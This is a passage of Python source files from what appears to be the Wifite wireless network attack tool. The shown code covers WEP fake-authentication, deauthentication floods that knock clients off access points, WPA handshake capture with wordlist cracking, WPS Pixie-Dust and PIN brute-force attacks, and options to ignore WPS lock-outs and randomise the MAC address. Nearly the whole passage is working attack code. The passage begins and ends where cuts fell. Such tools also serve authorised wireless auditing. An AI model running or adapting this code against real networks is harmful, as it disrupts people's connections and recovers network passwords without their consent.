+= 1 Color.pl(' {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name)) # Stop attacking entirely attack_index += 1 Color.pl(' {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index) while True: answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index)) if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index: Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index) continue answer = int(answer) break if answer == 1: # Deauth clients & retry deauth_count = 1 Color.clear_entire_line() Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...') Aireplay.deauth(target.bssid, essid=target.essid) attacking_mac = Ifconfig.get_mac(Configuration.interface) for client in target.clients: if attacking_mac.lower() == client.station.lower(): continue # Don't deauth ourselves. Color.clear_entire_line() Color.p('\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) deauth_count += 1 Color.clear_entire_line() Color.pl('\r{+} Sent {C}%d {O}deauths{W}' % deauth_count) # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop elif answer == attack_index: return True # Stop attacking elif answer > 1: # User selected specific attack: Re-order attacks based on desired next-step attacks_remaining.insert(0, attacks_remaining.pop(answer-2)) return False # Don't stop def fake_auth(self): ''' Attempts to fake-authenticate with target. Returns: True if successful, False is unsuccessful. ''' Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid) fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait) if fakeauth: Color.pl(' {G}success{W}') else: Color.pl(' {R}failed{W}') if Configuration.require_fakeauth: # Fakeauth is required, fail raise Exception( 'Fake-authenticate did not complete within' + ' %d seconds' % AttackWEP.fakeauth_wait) else: # Warn that fakeauth failed Color.pl('{!} {O}' + 'unable to fake-authenticate with target' + ' (%s){W}' % self.target.bssid) Color.pl('{!} continuing attacks because' + ' {G}--require-fakeauth{W} was not set') return fakeauth if __name__ == '__main__': Configuration.initialize(True) from ..model.target import Target fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') target = Target(fields) wep = AttackWEP(target) wep.run() Configuration.exit_gracefully(0) ================================================ FILE: wifite/attack/wpa.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..model.attack import Attack from ..tools.aircrack import Aircrack from ..tools.airodump import Airodump from ..tools.aireplay import Aireplay from ..config import Configuration from ..util.color import Color from ..util.process import Process from ..util.timer import Timer from ..model.handshake import Handshake from ..model.wpa_result import CrackResultWPA import time import os import re from shutil import copy class AttackWPA(Attack): def __init__(self, target): super(AttackWPA, self).__init__(target) self.clients = [] self.crack_result = None self.success = False def run(self): '''Initiates full WPA handshake capture attack.''' # Skip if target is not WPS if Configuration.wps_only and self.target.wps == False: Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid) self.success = False return self.success # Skip if user only wants to run PMKID attack if Configuration.use_pmkid_only: self.success = False return False # Capture the handshake (or use an old one) handshake = self.capture_handshake() if handshake is None: # Failed to capture handshake self.success = False return self.success # Analyze handshake Color.pl('\n{+} analysis of captured handshake file:') handshake.analyze() # Check wordlist if Configuration.wordlist is None: Color.pl('{!} {O}Not cracking handshake because' + ' wordlist ({R}--dict{O}) is not set') self.success = False return False elif not os.path.exists(Configuration.wordlist): Color.pl('{!} {O}Not cracking handshake because' + ' wordlist {R}%s{O} was not found' % Configuration.wordlist) self.success = False return False Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' + ' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1]) # Crack it key = Aircrack.crack_handshake(handshake, show_command=False) if key is None: Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1]) self.success = False else: Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key) self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key) self.crack_result.dump() self.success = True return self.success def capture_handshake(self): '''Returns captured or stored handshake, otherwise None.''' handshake = None # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='wpa') as airodump: Color.clear_entire_line() Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...') airodump_target = self.wait_for_target(airodump) self.clients = [] # Try to load existing handshake if Configuration.ignore_old_handshakes == False: bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None handshake = self.load_handshake(bssid=bssid, essid=essid) if handshake: Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid) Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile) return handshake timeout_timer = Timer(Configuration.wpa_attack_timeout) deauth_timer = Timer(Configuration.wpa_deauth_timeout) while handshake is None and not timeout_timer.ended(): step_timer = Timer(1) Color.clear_entire_line() Color.pattack('WPA', airodump_target, 'Handshake capture', 'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer)) # Find .cap file cap_files = airodump.find_files(endswith='.cap') if len(cap_files) == 0: # No cap files yet time.sleep(step_timer.remaining()) continue cap_file = cap_files[0] # Copy .cap file to temp for consistency temp_file = Configuration.temp('handshake.cap.bak') copy(cap_file, temp_file) # Check cap file in temp for Handshake bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None handshake = Handshake(temp_file, bssid=bssid, essid=essid) if handshake.has_handshake(): # We got a handshake Color.clear_entire_line() Color.pattack('WPA', airodump_target, 'Handshake capture', '{G}Captured handshake{W}') Color.pl('') break # There is no handshake handshake = None # Delete copied .cap file in temp to save space os.remove(temp_file) # Look for new clients airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in self.clients: Color.clear_entire_line() Color.pattack('WPA', airodump_target, 'Handshake capture', 'Discovered new client: {G}%s{W}' % client.station) Color.pl('') self.clients.append(client.station) # Send deauth to a client or broadcast if deauth_timer.ended(): self.deauth(airodump_target) # Restart timer deauth_timer = Timer(Configuration.wpa_deauth_timeout) # Sleep for at-most 1 second time.sleep(step_timer.remaining()) continue # Handshake listen+deauth loop if handshake is None: # No handshake, attack failed. Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout)) return handshake else: # Save copy of handshake to ./hs/ self.save_handshake(handshake) return handshake def load_handshake(self, bssid, essid): if not os.path.exists(Configuration.wpa_handshake_dir): return None if essid: essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid)) else: essid_safe = '[a-zA-Z0-9]+' bssid_safe = re.escape(bssid.replace(':', '-')) date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}' get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date)) for filename in os.listdir(Configuration.wpa_handshake_dir): cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename) if os.path.isfile(cap_filename) and re.match(get_filename, filename): return Handshake(capfile=cap_filename, bssid=bssid, essid=essid) return None def save_handshake(self, handshake): ''' Saves a copy of the handshake file to hs/ Args: handshake - Instance of Handshake containing bssid, essid, capfile ''' # Create handshake dir if not os.path.exists(Configuration.wpa_handshake_dir): os.makedirs(Configuration.wpa_handshake_dir) # Generate filesystem-safe filename from bssid, essid and date if handshake.essid and type(handshake.essid) is str: essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) else: essid_safe = 'UnknownEssid' bssid_safe = handshake.bssid.replace(':', '-') date = time.strftime('%Y-%m-%dT%H-%M-%S') cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) if Configuration.wpa_strip_handshake: Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename) handshake.strip(outfile=cap_filename) Color.pl('{G}saved{W}') else: Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) copy(handshake.capfile, cap_filename) Color.pl('{G}saved{W}') # Update handshake to use the stored handshake file for future operations handshake.capfile = cap_filename def deauth(self, target): ''' Sends deauthentication request to broadcast and every client of target. Args: target - The Target to deauth, including clients. ''' if Configuration.no_deauth: return for index, client in enumerate([None] + self.clients): if client is None: target_name = '*broadcast*' else: target_name = client Color.clear_entire_line() Color.pattack('WPA', target, 'Handshake capture', 'Deauthing {O}%s{W}' % target_name) Aireplay.deauth(target.bssid, client_mac=client, timeout=2) if __name__ == '__main__': Configuration.initialize(True) from ..model.target import Target fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') target = Target(fields) wpa = AttackWPA(target) try: wpa.run() except KeyboardInterrupt: Color.pl('') pass Configuration.exit_gracefully(0) ================================================ FILE: wifite/attack/wps.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..model.attack import Attack from ..util.color import Color from ..util.process import Process from ..config import Configuration from ..tools.bully import Bully from ..tools.reaver import Reaver class AttackWPS(Attack): @staticmethod def can_attack_wps(): return Reaver.exists() or Bully.exists() def __init__(self, target, pixie_dust=False): super(AttackWPS, self).__init__(target) self.success = False self.crack_result = None self.pixie_dust = pixie_dust def run(self): ''' Run all WPS-related attacks ''' # Drop out if user specified to not use Reaver/Bully if Configuration.use_pmkid_only: self.success = False return False if Configuration.no_wps: self.success = False return False if not Configuration.wps_pixie and self.pixie_dust: Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' + '{O}%s{W}' % self.target.essid) self.success = False return False if not Configuration.wps_pin and not self.pixie_dust: Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' + 'on {O}%s{W}' % self.target.essid) self.success = False return False if not Reaver.exists() and Bully.exists(): # Use bully if reaver isn't available return self.run_bully() elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists(): # Use bully if reaver can't do pixie-dust return self.run_bully() elif Configuration.use_bully: # Use bully if asked by user return self.run_bully() elif not Reaver.exists(): # Print error if reaver isn't found (bully not available) if self.pixie_dust: Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}') else: Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}') return False elif self.pixie_dust and not Reaver.is_pixiedust_supported(): # Print error if reaver can't support pixie-dust (bully not available) Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}') return False else: return self.run_reaver() def run_bully(self): bully = Bully(self.target, pixie_dust=self.pixie_dust) bully.run() bully.stop() self.crack_result = bully.crack_result self.success = self.crack_result is not None return self.success def run_reaver(self): reaver = Reaver(self.target, pixie_dust=self.pixie_dust) reaver.run() self.crack_result = reaver.crack_result self.success = self.crack_result is not None return self.success ================================================ FILE: wifite/config.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os from .util.color import Color from .tools.macchanger import Macchanger class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' version = '2.2.5' initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory interface = None verbose = 0 @classmethod def initialize(cls, load_interface=True): ''' Sets up default initial configuration values. Also sets config values based on command-line arguments. ''' # TODO: categorize configuration into separate classes (under config/*.py) # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc # Only initialize this class once if cls.initialized: return cls.initialized = True cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes. cls.print_stack_traces = True cls.kill_conflicting_processes = False cls.scan_time = 0 # Time to wait before attacking all targets cls.tx_power = 0 # Wifi transmit power (0 is default) cls.interface = None cls.target_channel = None # User-defined channel to scan cls.target_essid = None # User-defined AP name cls.target_bssid = None # User-defined AP BSSID cls.ignore_essid = None # ESSIDs to ignore cls.clients_only = False # Only show targets that have associated clients cls.five_ghz = False # Scan 5Ghz channels cls.show_bssids = False # Show BSSIDs in targets list cls.random_mac = False # Should generate a random Mac address at startup. cls.no_deauth = False # Deauth hidden networks & WPA handshake targets cls.num_deauths = 1 # Number of deauth packets to send to each target. cls.encryption_filter = ['WEP', 'WPA', 'WPS'] # EvilTwin variables cls.use_eviltwin = False cls.eviltwin_port = 80 cls.eviltwin_deauth_iface = None cls.eviltwin_fakeap_iface = None # WEP variables cls.wep_filter = False # Only attack WEP networks cls.wep_pps = 600 # Packets per second cls.wep_timeout = 600 # Seconds to wait before failing cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking cls.require_fakeauth = False cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting # Aireplay if IVs don't increaes. # '0' means never restart. cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack # before restarting the process. cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking cls.wep_keep_ivs = False # Retain .ivs files across multiple attacks. # WPA variables cls.wpa_filter = False # Only attack WPA networks cls.wpa_deauth_timeout = 15 # Wait time between deauths cls.wpa_attack_timeout = 500 # Wait time before failing cls.wpa_handshake_dir = 'hs' # Dir to store handshakes cls.wpa_strip_handshake = False # Strip non-handshake packets cls.ignore_old_handshakes = False # Always fetch a new handshake # PMKID variables cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack cls.pmkid_timeout = 30 # Time to wait for PMKID capture # Default dictionary for cracking cls.cracked_file = 'cracked.txt' cls.wordlist = None wordlists = [ './wordlist-top4800-probable.txt', # Local file (ran from cloned repo) '/usr/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr '/usr/local/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr/local # Other passwords found on Kali '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/wordlists/fern-wifi/common.txt' ] for wlist in wordlists: if os.path.exists(wlist): cls.wordlist = wlist break # WPS variables cls.wps_filter = False # Only attack WPS networks cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) cls.wps_only = False # ONLY use WPS attacks on non-WEP networks cls.use_bully = False # Use bully instead of reaver cls.wps_pixie = True cls.wps_pin = True cls.wps_ignore_lock = False # Skip WPS PIN attack if AP is locked. cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails cls.wps_fail_threshold = 100 # Max number of failures cls.wps_timeout_threshold = 100 # Max number of timeouts # Commands cls.show_cracked = False cls.check_handshake = None cls.crack_handshake = False # Overwrite config values with arguments (if defined) cls.load_from_arguments() if load_interface: cls.get_monitor_mode_interface() @classmethod def get_monitor_mode_interface(cls): if cls.interface is None: # Interface wasn't defined, select it! from .tools.airmon import Airmon cls.interface = Airmon.ask() if cls.random_mac: Macchanger.random() @classmethod def load_from_arguments(cls): ''' Sets configuration values based on Argument.args object ''' from .args import Arguments args = Arguments(cls).args cls.parse_settings_args(args) cls.parse_wep_args(args) cls.parse_wpa_args(args) cls.parse_wps_args(args) cls.parse_pmkid_args(args) cls.parse_encryption() # EvilTwin ''' if args.use_eviltwin: cls.use_eviltwin = True Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') ''' cls.parse_wep_attacks() cls.validate() # Commands if args.cracked: cls.show_cracked = True if args.check_handshake: cls.check_handshake = args.check_handshake if args.crack_handshake: cls.crack_handshake = True @classmethod def validate(cls): if cls.use_pmkid_only and cls.wps_only: Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible') raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together') @classmethod def parse_settings_args(cls, args): '''Parses basic settings/configurations from arguments.''' if args.random_mac: cls.random_mac = True Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' + 'when scanning & attacking') if args.channel: cls.target_channel = args.channel Color.pl('{+} {C}option:{W} scanning for targets on channel ' + '{G}%s{W}' % args.channel) if args.interface: cls.interface = args.interface Color.pl('{+} {C}option:{W} using wireless interface ' + '{G}%s{W}' % args.interface) if args.target_bssid: cls.target_bssid = args.target_bssid Color.pl('{+} {C}option:{W} targeting BSSID ' + '{G}%s{W}' % args.target_bssid) if args.five_ghz == True: cls.five_ghz = True Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans') if args.show_bssids == True: cls.show_bssids = True Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan') if args.no_deauth == True: cls.no_deauth = True Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' + 'during scans or captures') if args.num_deauths and args.num_deauths > 0: cls.num_deauths = args.num_deauths Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % ( cls.num_deauths)) if args.target_essid: cls.target_essid = args.target_essid Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) if args.ignore_essid is not None: cls.ignore_essid = args.ignore_essid Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % ( args.ignore_essid)) if args.clients_only == True: cls.clients_only = True Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' + 'associated clients') if args.scan_time: cls.scan_time = args.scan_time Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' + 'after {G}%d{W}s' % args.scan_time) if args.verbose: cls.verbose = args.verbose Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) if args.kill_conflicting_processes: cls.kill_conflicting_processes = True Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') @classmethod def parse_wep_args(cls, args): '''Parses WEP-specific arguments''' if args.wep_filter: cls.wep_filter = args.wep_filter if args.wep_pps: cls.wep_pps = args.wep_pps Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % ( args.wep_pps)) if args.wep_timeout: cls.wep_timeout = args.wep_timeout Color.pl('{+} {C}option:{W} WEP attack timeout set to ' + '{G}%d seconds{W}' % args.wep_timeout) if args.require_fakeauth: cls.require_fakeauth = True Color.pl('{+} {C}option:{W} fake-authentication is ' + '{G}required{W} for WEP attacks') if args.wep_crack_at_ivs: cls.wep_crack_at_ivs = args.wep_crack_at_ivs Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' + '{G}%d IVs{W}' % args.wep_crack_at_ivs) if args.wep_restart_stale_ivs: cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs Color.pl('{+} {C}option:{W} will restart aireplay after ' + '{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) if args.wep_restart_aircrack: cls.wep_restart_aircrack = args.wep_restart_aircrack Color.pl('{+} {C}option:{W} will restart aircrack every ' + '{G}%d seconds{W}' % args.wep_restart_aircrack) if args.wep_keep_ivs: cls.wep_keep_ivs = args.wep_keep_ivs Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') @classmethod def parse_wpa_args(cls, args): '''Parses WPA-specific arguments''' if args.wpa_filter: cls.wpa_filter = args.wpa_filter if args.wordlist: if not os.path.exists(args.wordlist): cls.wordlist = None Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) elif os.path.isfile(args.wordlist): cls.wordlist = args.wordlist Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist) elif os.path.isdir(args.wordlist): cls.wordlist = None Color.pl('{+} {C}option:{O} wordlist {R}%s{O} is a directory, not a file. Wifite will NOT attempt to crack handshakes' % args.wordlist) if args.wpa_deauth_timeout: cls.wpa_deauth_timeout = args.wpa_deauth_timeout Color.pl('{+} {C}option:{W} will deauth WPA clients every ' + '{G}%d seconds{W}' % args.wpa_deauth_timeout) if args.wpa_attack_timeout: cls.wpa_attack_timeout = args.wpa_attack_timeout Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' + '{G}%d seconds{W}' % args.wpa_attack_timeout) if args.ignore_old_handshakes: cls.ignore_old_handshakes = True Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' + '(force capture)') if args.wpa_handshake_dir: cls.wpa_handshake_dir = args.wpa_handshake_dir Color.pl('{+} {C}option:{W} will store handshakes to ' + '{G}%s{W}' % args.wpa_handshake_dir) if args.wpa_strip_handshake: cls.wpa_strip_handshake = True Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets') @classmethod def parse_wps_args(cls, args): '''Parses WPS-specific arguments''' if args.wps_filter: cls.wps_filter = args.wps_filter if args.wps_only: cls.wps_only = True cls.wps_filter = True # Also only show WPS networks Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' + '{G}WPS attacks{W} (avoids handshake and PMKID)') if args.no_wps: # No WPS attacks at all cls.no_wps = args.no_wps cls.wps_pixie = False cls.wps_pin = False Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' + '(Pixie-Dust/PIN) on targets') elif args.wps_pixie: # WPS Pixie-Dust only cls.wps_pixie = True cls.wps_pin = False Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' + 'attack{W} (no {O}PIN{W}) on targets') elif args.wps_no_pixie: # WPS PIN only cls.wps_pixie = False cls.wps_pin = True Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' + '(no {O}Pixie-Dust{W}) on targets') if args.use_bully: from .tools.bully import Bully if not Bully.exists(): Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}') cls.use_bully = False else: cls.use_bully = args.use_bully Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' + 'for WPS Attacks') if args.wps_pixie_timeout: cls.wps_pixie_timeout = args.wps_pixie_timeout Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' + '{O}%d seconds{W}' % args.wps_pixie_timeout) if args.wps_fail_threshold: cls.wps_fail_threshold = args.wps_fail_threshold Color.pl('{+} {C}option:{W} will stop WPS attack after ' + '{O}%d failures{W}' % args.wps_fail_threshold) if args.wps_timeout_threshold: cls.wps_timeout_threshold = args.wps_timeout_threshold Color.pl('{+} {C}option:{W} will stop WPS attack after ' + '{O}%d timeouts{W}' % args.wps_timeout_threshold) if args.wps_ignore_lock: cls.wps_ignore_lock = True Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs') @classmethod def parse_pmkid_args(cls, args): if args.use_pmkid_only: cls.use_pmkid_only = True Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks') if args.pmkid_timeout: cls.pmkid_timeout = args.pmkid_timeout Color.pl('{+} {C}option:{W} will wait {G}%d seconds{W} during {C}PMKID{W} capture' % args.pmkid_timeout) @classmethod def parse_encryption(cls): '''Adjusts encryption filter (WEP and/or WPA and/or WPS)''' cls.encryption_filter = [] if cls.wep_filter: cls.encryption_filter.append('WEP') if cls.wpa_filter: cls.encryption_filter.append('WPA') if cls.wps_filter: cls.encryption_filter.append('WPS') if len(cls.encryption_filter) == 3: Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}') elif len(cls.encryption_filter) == 0: # Default to scan all types cls.encryption_filter = ['WEP', 'WPA', 'WPS'] else: Color.pl('{+} {C}option:{W} ' + 'targeting {G}%s-encrypted{W} networks' % '/'.join(cls.encryption_filter)) @classmethod def parse_wep_attacks(cls): '''Parses and sets WEP-specific args (-chopchop, -fragment, etc)''' cls.wep_attacks = [] from sys import argv seen = set() for arg in argv: if arg in seen: continue seen.add(arg) if arg == '-arpreplay': cls.wep_attacks.append('replay') if arg == '-fragment': cls.wep_attacks.append('fragment') if arg == '-chopchop': cls.wep_attacks.append('chopchop') if arg == '-caffelatte': cls.wep_attacks.append('caffelatte') if arg == '-p0841': cls.wep_attacks.append('p0841') if arg == '-hirte': cls.wep_attacks.append('hirte') if len(cls.wep_attacks) == 0: # Use all attacks cls.wep_attacks = ['replay', 'fragment', 'chopchop', 'caffelatte', 'p0841', 'hirte' ] elif len(cls.wep_attacks) > 0: Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' % '{W}, {G}'.join(cls.wep_attacks)) @classmethod def temp(cls, subfile=''): ''' Creates and/or returns the temporary directory ''' if cls.temp_dir is None: cls.temp_dir = cls.create_temp() return cls.temp_dir + subfile @staticmethod def create_temp(): ''' Creates and returns a temporary directory ''' from tempfile import mkdtemp tmp = mkdtemp(prefix='wifite') if not tmp.endswith(os.sep): tmp += os.sep return tmp @classmethod def delete_temp(cls): ''' Remove temp files and folder ''' if cls.temp_dir is None: return if os.path.exists(cls.temp_dir): for f in os.listdir(cls.temp_dir): os.remove(cls.temp_dir + f) os.rmdir(cls.temp_dir) @classmethod def exit_gracefully(cls, code=0): ''' Deletes temp and exist with the given code ''' cls.delete_temp() Macchanger.reset_if_changed() from .tools.airmon import Airmon if cls.interface is not None and Airmon.base_interface is not None: Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!') Color.pl('{!} To disable Monitor Mode when finished: ' + '{C}airmon-ng stop %s{W}' % cls.interface) # Stop monitor mode #Airmon.stop(cls.interface) # Bring original interface back up #Airmon.put_interface_up(Airmon.base_interface) if Airmon.killed_network_manager: Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') #Airmon.start_network_manager() exit(code) @classmethod def dump(cls): ''' (Colorful) string representation of the configuration ''' from .util.color import Color max_len = 20 for key in cls.__dict__.keys(): max_len = max(max_len, len(key)) result = Color.s('{W}%s Value{W}\n' % 'cls Key'.ljust(max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) for (key,val) in sorted(cls.__dict__.items()): if key.startswith('__') or type(val) in [classmethod, staticmethod] or val is None: continue result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val)) return result if __name__ == '__main__': Configuration.initialize(False) print(Configuration.dump()) ================================================ FILE: wifite/model/__init__.py ================================================ ================================================ FILE: wifite/model/attack.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import time class Attack(object): '''Contains functionality common to all attacks.''' target_wait = 60 def __init__(self, target): self.target = target def run(self): raise Exception('Unimplemented method: run') def wait_for_target(self, airodump): '''Waits for target to appear in airodump.''' start_time = time.time() targets = airodump.get_targets(apply_filter=False) while len(targets) == 0: # Wait for target to appear in airodump. if int(time.time() - start_time) > Attack.target_wait: raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait) time.sleep(1) targets = airodump.get_targets() continue # Ensure this target was seen by airodump airodump_target = None for t in targets: if t.bssid == self.target.bssid: airodump_target = t break if airodump_target is None: raise Exception( 'Could not find target (%s) in airodump' % self.target.bssid) return airodump_target ================================================ FILE: wifite/model/client.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- class Client(object): ''' Holds details for a 'Client' - a wireless device (e.g. computer) that is associated with an Access Point (e.g. router) ''' def __init__(self, fields): ''' Initializes & stores client info based on fields. Args: Fields - List of strings INDEX KEY 0 Station MAC (client's MAC address) 1 First time seen, 2 Last time seen, 3 Power, 4 # packets, 5 BSSID, (Access Point's MAC address) 6 Probed ESSIDs ''' self.station = fields[0].strip() self.power = int(fields[3].strip()) self.packets = int(fields[4].strip()) self.bssid = fields[5].strip() def __str__(self): ''' String representation of a Client ''' result = '' for (key,value) in self.__dict__.items(): result += key + ': ' + str(value) result += ', ' return result if __name__ == '__main__': fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',') c = Client(fields) print('Client', c) ================================================ FILE: wifite/model/handshake.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.process import Process from ..util.color import Color from ..tools.tshark import Tshark from ..tools.pyrit import Pyrit import re, os class Handshake(object): def __init__(self, capfile, bssid=None, essid=None): self.capfile = capfile self.bssid = bssid self.essid = essid def divine_bssid_and_essid(self): ''' Tries to find BSSID and ESSID from cap file. Sets this instances 'bssid' and 'essid' instance fields. ''' # We can get BSSID from the .cap filename if Wifite captured it. # ESSID is stripped of non-printable characters, so we can't rely on that. if self.bssid is None: hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE) match = hs_regex.match(self.capfile) if match: self.bssid = match.group(1).replace('-', ':') # Get list of bssid/essid pairs from cap file pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid) if len(pairs) == 0: pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit if len(pairs) == 0 and not self.bssid and not self.essid: # Tshark and Pyrit failed us, nothing else we can do. raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile) if not self.essid and not self.bssid: # We do not know the bssid nor the essid # TODO: Display menu for user to select from list # HACK: Just use the first one we see self.bssid = pairs[0][0] self.essid = pairs[0][1] Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' + '{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid)) elif not self.bssid: # We already know essid for (bssid, essid) in pairs: if self.essid == essid: Color.pl('{+} Discovered bssid {C}%s{W}' % bssid) self.bssid = bssid break elif not self.essid: # We already know bssid for (bssid, essid) in pairs: if self.bssid.lower() == bssid.lower(): Color.pl('{+} Discovered essid "{C}%s{W}"' % essid) self.essid = essid break def has_handshake(self): if not self.bssid or not self.essid: self.divine_bssid_and_essid() if len(self.tshark_handshakes()) > 